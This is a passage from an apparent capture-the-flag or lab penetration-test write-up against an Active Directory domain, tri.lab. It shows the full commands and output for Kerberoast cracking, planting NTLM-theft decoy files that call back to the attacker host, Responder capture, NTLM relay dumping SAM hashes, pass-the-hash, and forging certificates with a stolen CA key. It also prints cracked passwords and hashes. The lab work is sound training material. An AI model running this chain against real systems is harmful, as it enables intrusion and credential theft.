Restore.Sub.#01..: Salt:0 Amplifier:0-64 Iteration:0-64
Candidate.Engine.: Device Generator
Candidates.#01...: whitleyb -> ezzz
Hardware.Mon.#01.: Util: 88%

$krb5tgs$23$*j.reed@tri.lab$TRI.LAB$j.reed@tri.lab*$04af8a67307a17c1df901035a37374c1$c1e322c2a829e4559460f15abfa2592c7688868d98064a34e9568c9161856001c7451e285b830411893a7c2fc4da76c37aee47a55f2dd84a805ca776aa192bc17e8f200d938d055c34612bc1501c3d7928229ef884205da824a71d36c8244aa2304b13518eac5f2d334cfb27044f25a977f4a51fc34ab02505f2b8b72d3699dfab52667981410aaca46c27757673814b536a86f3180b2e1efe434f4e66404df8266fdc02ec9328cfbfbcb2e7a7c563eaedf296bb66e9d1bc5b48195fdb03d57b43fdfbd6bc81782518970804b5a877e96590206ea23c061f0d5eb078c07a0fba4cfaac20c0c799adc57932f474f9cccd627ea5a2d64cbc8992efac3038d5606552075ab72ee6a9c99f73e74796cf21e55f599f27a7d22bce0c0a01c92da6af08aa6cc3700601548cccd93dcb8244ca293c51f8bdf4d0bc15c8c310865044c1b5380c5b16db67650255bcb89cc27d6d652afd7f6bd129fa5d94ee73698788a4fa13c8df727931c2add1aa161a5a89670be8c1c104d73443dd3b5fc50f88718db9af5f50144ecff78b58b38e6d67ee0246aee4caa9754718c167de707a1738feae6e30c86ddfd853aa203e3219017dce1f4656a84e55c9e60983103ea8c39126d37c5ba913c611eb578df6b62ddff3a09ca0b5c812764ebc629e83ffff9bda8c3e3c81f6fb1bf95ff8fcf9f83011e3155093768b759a4c1b5aa98802861680f348abf7bd5776d1ef2640edf769f931e530a5aaa343a59b6b36c54aed22f053fe4d87b59e06c551a521533f16b06b11c68a47b279b1b75e9e97a17c4e54658df20c85be5d183e098b22f4853f096ce29ef8be1086425013fbd59b19c8f522be53e32570988376b81675803b26bb811af0f750352f3ecbf3ad0ef4c02c582fb31534b687537b9fd07920fa0c6bdf5071c87e211544004910c564a049ef85b981768b1525ab657578cd6984a473fb986738eab80d81a942bc1f0ef7ddc8056667f8de93693b5eab4aab3cbc0808f1fc58d933a7160ec14cccbbd930b9ccab9fdbb27844b38451b2bc464fcbb4e04d6ada6850af8736c9d3bd380f60d547aca51190521a5d832d40bbeed220f422543c52542664d131d89a7a68973819f1168100c18fe185b57408bec8067642018bd4797ce014ea008ef531681dc51e14c191f7836e924e4bed748d3e865e03ec01ab4c39ab8ddaa290f8ffb4e5be480790fd6332e6dac3c0db274057074e6d7ecc85f99638d1cfaed6c4b749a2d4ed9d60051c9971aa5018606272e19d69b98e7742fe54948ed5252b9479310eac13028cc92b92ae80d98e2675e3928ffa33c1009dccc9b774f6cb92bdb9b1c679392474dda488d8fd8c628e595126ce7c912181b7b24c85d314116ca526f29f:Utah123
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*j.reed@tri.lab$TRI.LAB$j.reed@tri.lab*...26f29f
Time.Started.....: Sun Mar 15 10:49:23 2026 (3 mins, 13 secs)
Time.Estimated...: Sun Mar 15 10:52:36 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/hashcat/rules/best66.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   944.2 kH/s (5.59ms) @ Accel:29 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 195549204/946729476 (20.66%)
Rejected.........: 0/195549204 (0.00%)
Restore.Point....: 2962698/14344386 (20.65%)
Restore.Sub.#01..: Salt:0 Amplifier:0-64 Iteration:0-64
Candidate.Engine.: Device Generator
Candidates.#01...: utamea -> ah06
Hardware.Mon.#01.: Util: 87%

Started: Sun Mar 15 10:49:22 2026
Stopped: Sun Mar 15 10:52:38 2026

Recovered credentials:

j.reed:Utah123

Post-Foothold Enumeration

Validated the cracked credentials and enumerated shares across all three hosts.

nxc smb BIKE-SRV.tri.lab -u 'j.reed' -p 'Utah123'
SMB         10.1.145.107    445    BIKE-SRV         [*] Windows Server 2022 Build 20348 x64 (name:BIKE-SRV) (domain:tri.lab) (signing:False) (SMBv1:False)                                                                                                                                                    
SMB         10.1.145.107    445    BIKE-SRV         [+] tri.lab\j.reed:Utah123

nxc smb BIKE-SRV.tri.lab -u 'j.reed' -p 'Utah123' --shares
SMB         10.1.145.107    445    BIKE-SRV         [*] Windows Server 2022 Build 20348 x64 (name:BIKE-SRV) (domain:tri.lab) (signing:False) (SMBv1:False)                                                                                                                                                    
SMB         10.1.145.107    445    BIKE-SRV         [+] tri.lab\j.reed:Utah123 
SMB         10.1.145.107    445    BIKE-SRV         [*] Enumerated shares
SMB         10.1.145.107    445    BIKE-SRV         Share           Permissions     Remark
SMB         10.1.145.107    445    BIKE-SRV         -----           -----------     ------
SMB         10.1.145.107    445    BIKE-SRV         ADMIN$                          Remote Admin
SMB         10.1.145.107    445    BIKE-SRV         C$                              Default share
SMB         10.1.145.107    445    BIKE-SRV         IPC$            READ            Remote IPC

nxc smb SWIM-SRV.tri.lab -u 'j.reed' -p 'Utah123' --shares
SMB         10.1.83.169     445    SWIM-SRV         [*] Windows Server 2022 Build 20348 x64 (name:SWIM-SRV) (domain:tri.lab) (signing:False) (SMBv1:False)                                                                                                                                                    
SMB         10.1.83.169     445    SWIM-SRV         [+] tri.lab\j.reed:Utah123 
SMB         10.1.83.169     445    SWIM-SRV         [*] Enumerated shares
SMB         10.1.83.169     445    SWIM-SRV         Share           Permissions     Remark
SMB         10.1.83.169     445    SWIM-SRV         -----           -----------     ------
SMB         10.1.83.169     445    SWIM-SRV         ADMIN$                          Remote Admin
SMB         10.1.83.169     445    SWIM-SRV         C$                              Default share
SMB         10.1.83.169     445    SWIM-SRV         IPC$            READ            Remote IPC
SMB         10.1.83.169     445    SWIM-SRV         TransitionZone$ READ,WRITE

nxc smb RUN-SRV.tri.lab -u 'j.reed' -p 'Utah123' --shares
SMB         10.1.231.143    445    RUN-SRV          [*] Windows Server 2022 Build 20348 x64 (name:RUN-SRV) (domain:tri.lab) (signing:True) (SMBv1:False)
SMB         10.1.231.143    445    RUN-SRV          [+] tri.lab\j.reed:Utah123 
SMB         10.1.231.143    445    RUN-SRV          [*] Enumerated shares
SMB         10.1.231.143    445    RUN-SRV          Share           Permissions     Remark
SMB         10.1.231.143    445    RUN-SRV          -----           -----------     ------
SMB         10.1.231.143    445    RUN-SRV          ADMIN$                          Remote Admin
SMB         10.1.231.143    445    RUN-SRV          C$                              Default share
SMB         10.1.231.143    445    RUN-SRV          IPC$            READ            Remote IPC
SMB         10.1.231.143    445    RUN-SRV          NETLOGON        READ            Logon server share 
SMB         10.1.231.143    445    RUN-SRV          SYSVOL          READ            Logon server share

SWIM-SRV’s TransitionZone$ share was writable by j.reed. A writable share reachable by other users is a direct path to capturing NTLM authentication via a decoy file.

Lateral Movement

Generated NTLM-theft decoy files pointing back to the attacker host.

cd ~/kali4niaL0ve-back/payloads/tools/ntlm_theft
source ntlm-venv/bin/activate
python3 ntlm_theft.py -g all -s 10.200.39.243 -f triathlon-note 
Created: triathlon-note/triathlon-note.scf (BROWSE TO FOLDER)
Created: triathlon-note/triathlon-note-(url).url (BROWSE TO FOLDER)
Created: triathlon-note/triathlon-note-(icon).url (BROWSE TO FOLDER)
Created: triathlon-note/triathlon-note.lnk (BROWSE TO FOLDER)
Created: triathlon-note/triathlon-note.rtf (OPEN)
Created: triathlon-note/triathlon-note-(stylesheet).xml (OPEN)
Created: triathlon-note/triathlon-note-(fulldocx).xml (OPEN)
Created: triathlon-note/triathlon-note.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: triathlon-note/triathlon-note-(includepicture).docx (OPEN)
Created: triathlon-note/triathlon-note-(remotetemplate).docx (OPEN)
Created: triathlon-note/triathlon-note-(frameset).docx (OPEN)
Created: triathlon-note/triathlon-note-(externalcell).xlsx (OPEN)
Created: triathlon-note/triathlon-note.wax (OPEN)
Created: triathlon-note/triathlon-note.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: triathlon-note/triathlon-note.asx (OPEN)
Created: triathlon-note/triathlon-note.jnlp (OPEN)
Created: triathlon-note/triathlon-note.application (DOWNLOAD AND OPEN)
Created: triathlon-note/triathlon-note.pdf (OPEN AND ALLOW)
Created: triathlon-note/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: triathlon-note/Autorun.inf (BROWSE TO FOLDER)
Created: triathlon-note/desktop.ini (BROWSE TO FOLDER)
Generation Complete.

ls                          
bigsha                             docs                  LICENSE  Lumon_internet  ntlm_theft.py  README.md  triathlon-note
CVE-2025-24054_CVE-2025-24071-PoC  Important_Update.lnk  lnk.py   note            ntlm-venv      templates
deactivate

cp triathlon-note ~/Desktop/HackSmarter/triathlon/.
cp: -r not specified; omitting directory 'triathlon-note'

cp -r triathlon-note ~/Desktop/HackSmarter/triathlon/.
cd ~/Desktop/HackSmarter/triathlon

Planted the folder-browse decoy on the writable share.

smbclient //10.1.83.169/TransitionZone$ -U 'tri.lab/j.reed'    
Password for [TRI.LAB\j.reed]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Mar 15 11:02:37 2026
  ..                                DHS        0  Fri Oct  3 22:16:24 2025

                7863807 blocks of size 4096. 3863979 blocks available
smb: \> put triathlon-note.lnk
putting file triathlon-note.lnk as \triathlon-note.lnk (4.5 kB/s) (average 4.5 kB/s)
smb: \> ls
  .                                   D        0  Sun Mar 15 11:53:59 2026
  ..                                DHS        0  Fri Oct  3 22:16:24 2025
  triathlon-note.lnk                  A     2164  Sun Mar 15 11:53:59 2026

                7863807 blocks of size 4096. 3863948 blocks available
smb: \> exit

Started Responder to catch the resulting authentication.

sudo responder -I tun0 
[sudo] password for kali: 
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server                [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.200.39.243]
    Responder IPv6             [fe80::7d1f:7caa:373:149d]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-HE4X5MAKOGC]
    Responder Domain Name      [GRTM.LOCAL]
    Responder DCE-RPC Port     [49494]

[*] Version: Responder 3.1.7.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[*] To sponsor Responder: https://paypal.me/PythonResponder

[+] Listening for events...                                                                                                                            

[SMB] NTLMv2-SSP Client   : 10.1.83.169
[SMB] NTLMv2-SSP Username : TRI\e.ackerlund
[SMB] NTLMv2-SSP Hash     : e.ackerlund::TRI:f243b3c68515670d:F2E647C5F070D76EDD6EF6E918FAAB79:010100000000000000F49A3972B4DC0126DF7B0F2F34A8C100000000020008004700520054004D0001001E00570049004E002D00480045003400580035004D0041004B004F004700430004003400570049004E002D00480045003400580035004D0041004B004F00470043002E004700520054004D002E004C004F00430041004C00030014004700520054004D002E004C004F00430041004C00050014004700520054004D002E004C004F00430041004C000700080000F49A3972B4DC0106000400020000000800300030000000000000000000000000200000DD7ADEEF326645C80CD7A1D3E5812434E7F0DF47F166D6B92E1ADBB56D9F55180A001000000000000000000000000000000000000900240063006900660073002F00310030002E003200300030002E00330039002E003200340033000000000000000000

Browsing to TransitionZone$ on SWIM-SRV triggered e.ackerlund to authenticate back to Responder. Attempted to crack the captured NetNTLMv2 hash.

hashcat  -a0 -m5600 hash  ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-13th Gen Intel(R) Core(TM) i9-13900H, 8249/16499 MB (4096 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (15764 MB free)

Dictionary cache hit:
* Filename..: /home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921516
* Keyspace..: 14344386

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.           

Session..........: hashcat                                
Status...........: Exhausted
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: E.ACKERLUND::TRI:f243b3c68515670d:f2e647c5f070d76ed...000000
Time.Started.....: Sun Mar 15 12:00:29 2026 (15 secs)
Time.Estimated...: Sun Mar 15 12:00:44 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   995.9 kH/s (4.61ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344386/14344386 (100.00%)
Rejected.........: 0/14344386 (0.00%)
Restore.Point....: 14344386/14344386 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carragold! -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 78%

Started: Sun Mar 15 12:00:28 2026
Stopped: Sun Mar 15 12:00:45 2026

The NetNTLMv2 hash did not crack offline. Relayed the live authentication instead of cracking it.

NTLM Relay

impacket-ntlmrelayx -t smb://BIKE-SRV.tri.lab/ -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [1]
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [2]
[*] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [1] -> Target system bootKey: 0x841dce84254e425358d2d10fe21645b2
[*] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [1] -> Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [3]
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [4]
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [5]
[-] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [4] -> Error occurs while reading from remote(104)
[-] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [5] -> Error while reading from remote
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [6]
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [7]
[*] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [7] -> Target system bootKey: 0x841dce84254e425358d2d10fe21645b2
[*] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [7] -> Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9a6434f863c1835d5f1baf39a544ad57:::
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [8]
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [9]
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [8] -> Target system bootKey: 0x841dce84254e425358d2d10fe21645b2
[*] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [8] -> Dumping local SAM hashes (uid:rid:lmhash:nthash)
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d7da45674bae3a0476c0f64b67121f7d:::
[*] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [1] -> Done dumping SAM hashes for host: bike-srv.tri.lab
[-] smb://TRI/E.ACKERLUND@bike-srv.tri.lab [2] -> The NETBIOS connection with the remote host timed out.
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [10]
[*] (SMB): Received connection from 10.1.83.169, attacking target smb://BIKE-SRV.tri.lab
[*] (SMB): Authenticating connection from TRI/E.ACKERLUND@10.1.83.169 against smb://BIKE-SRV.tri.lab SUCCEED [11]

Relaying e.ackerlund’s authentication to BIKE-SRV dumped the local SAM, recovering the local Administrator NTLM hash.

Recovered credentials:

BIKE-SRV Administrator NTLM hash: 9a6434f863c1835d5f1baf39a544ad57

nxc smb bike-SRV.tri.lab -u 'administrator' -H '9a6434f863c1835d5f1baf39a544ad57'  --local-auth
SMB         10.1.145.107    445    BIKE-SRV         [*] Windows Server 2022 Build 20348 x64 (name:BIKE-SRV) (domain:BIKE-SRV) (signing:False) (SMBv1:False)                                                                                                                                                   
SMB         10.1.145.107    445    BIKE-SRV         [+] BIKE-SRV\administrator:9a6434f863c1835d5f1baf39a544ad57 (Pwn3d!)

Pass-the-hash confirmed local administrator access on BIKE-SRV.

Credential Discovery

A Domain Cached Credentials v2 (DCC2/mscache2) hash for m.pearson was queued for offline cracking.

echo '$DCC2$10240#m.pearson#05b458fcb2ebb0869a4979097a6bedaa' > dcc2.txt
hashcat -m 2100 dcc2.txt ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-13th Gen Intel(R) Core(TM) i9-13900H, 8249/16499 MB (4096 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (15494 MB free)

Dictionary cache hit:
* Filename..: /home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921516
* Keyspace..: 14344386

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Mode........: 2100 (Domain Cached Credentials 2 (DCC2), MS Cache 2)
Hash.Target......: $DCC2$10240#m.pearson#05b458fcb2ebb0869a4979097a6bedaa
Time.Started.....: Sun Mar 15 12:38:04 2026 (2 mins, 36 secs)
Time.Estimated...: Sun Mar 15 13:36:07 2026 (55 mins, 27 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:     4118 H/s (12.49ms) @ Accel:153 Loops:640 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 642600/14344386 (4.48%)
Rejected.........: 0/642600 (0.00%)
Restore.Point....: 642600/14344386 (4.48%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:8960-9600
Candidate.Engine.: Device Generator
Candidates.#01...: jepon -> jaywifey
Hardware.Mon.#01.: Util: 91%

$DCC2$10240#m.pearson#05b458fcb2ebb0869a4979097a6bedaa:2silver
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 2100 (Domain Cached Credentials 2 (DCC2), MS Cache 2)
Hash.Target......: $DCC2$10240#m.pearson#05b458fcb2ebb0869a4979097a6bedaa
Time.Started.....: Sun Mar 15 12:38:04 2026 (2 mins, 54 secs)
Time.Estimated...: Sun Mar 15 12:40:58 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:     4150 H/s (12.76ms) @ Accel:153 Loops:640 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 724302/14344386 (5.05%)
Rejected.........: 0/724302 (0.00%)
Restore.Point....: 723384/14344386 (5.04%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:9600-10239
Candidate.Engine.: Device Generator
Candidates.#01...: 312773 -> 2die4me
Hardware.Mon.#01.: Util: 92%

Started: Sun Mar 15 12:38:02 2026
Stopped: Sun Mar 15 12:41:00 2026

Recovered credentials:

m.pearson:2silver

Privilege Escalation

Validated the newly cracked m.pearson credentials across all hosts.

nxc smb run-SRV.tri.lab -u 'm.pearson' -p '2silver'                          
SMB         10.1.231.143    445    RUN-SRV          [*] Windows Server 2022 Build 20348 x64 (name:RUN-SRV) (domain:tri.lab) (signing:True) (SMBv1:False)
SMB         10.1.231.143    445    RUN-SRV          [+] tri.lab\m.pearson:2silver

nxc smb swim-SRV.tri.lab -u 'm.pearson' -p '2silver'                 
SMB         10.1.83.169     445    SWIM-SRV         [*] Windows Server 2022 Build 20348 x64 (name:SWIM-SRV) (domain:tri.lab) (signing:False) (SMBv1:False)                                                                                                                                                    
SMB         10.1.83.169     445    SWIM-SRV         [+] tri.lab\m.pearson:2silver (Pwn3d!)

nxc smb bike-SRV.tri.lab -u 'm.pearson' -p '2silver'
SMB         10.1.145.107    445    BIKE-SRV         [*] Windows Server 2022 Build 20348 x64 (name:BIKE-SRV) (domain:tri.lab) (signing:False) (SMBv1:False)                                                                                                                                                    
SMB         10.1.145.107    445    BIKE-SRV         [+] tri.lab\m.pearson:2silver

m.pearson had administrative rights on SWIM-SRV, the host running the AD CS certificate authority. Enumerated certificate templates and the CA for abuse potential.

certipy-ad find -u m.pearson@tri.lab -p '2silver' -dc-host tri.lab -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: tri.lab.
[!] Use -debug to print a stacktrace
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[!] DNS resolution failed: The DNS query name does not exist: SWIM-SRV.tri.lab.
[!] Use -debug to print a stacktrace
[*] Retrieving CA configuration for 'tri-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tri-CA'
[*] Checking web enrollment for CA 'tri-CA' @ 'SWIM-SRV.tri.lab'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260315125350_Certipy.txt'
[*] Wrote text output to '20260315125350_Certipy.txt'
[*] Saving JSON output to '20260315125350_Certipy.json'
[*] Wrote JSON output to '20260315125350_Certipy.json'

The CA tri-CA was hosted on SWIM-SRV, where m.pearson already had local administrator rights. That access is enough to back up the CA’s private key directly.

certipy-ad  ca -backup -ca "tri-CA" -username "m.pearson@tri.lab" -password "2silver" -dc-ip "10.1.83.169" -target SWIM-SRV.tri.lab
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The resolution lifetime expired after 5.407 seconds: Server Do53:10.1.83.169@53 answered The DNS operation timed out.; Server Do53:10.1.83.169@53 answered The DNS operation timed out.; Server Do53:10.1.83.169@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Creating new service for backup operation
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Backing up original PFX/P12 to 'pfx.p12'
[*] Backed up original PFX/P12 to 'pfx.p12'
[*] Saving certificate and private key to 'tri-CA.pfx'
[*] Wrote certificate and private key to 'tri-CA.pfx'
[*] Cleaning up

With the CA’s private key in hand, forged a certificate for a privileged account.

certipy-ad forge -ca-pfx "tri-CA.pfx" -upn "j.reed_adm@tri.lab" -subject "CN=J.REED_ADM,CN=Users,DC=TRI,DC=LAB" -crl ldap:/// 
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'j.reed_adm_forged.pfx'
[*] Wrote forged certificate and private key to 'j.reed_adm_forged.pfx'

certipy-ad auth -pfx "j.reed_adm_forged.pfx" -dc-ip 10.1.231.143 -username j.reed_adm -domain tri.lab 
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'j.reed_adm@tri.lab'
[*] Using principal: 'j.reed_adm@tri.lab'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'j.reed_adm.ccache'
[*] Wrote credential cache to 'j.reed_adm.ccache'
[*] Trying to retrieve NT hash for 'j.reed_adm'
[*] Got hash for 'j.reed_adm@tri.lab': aad3b435b51404eeaad3b435b51404ee:213846abdca7279a77229f6b422263fe

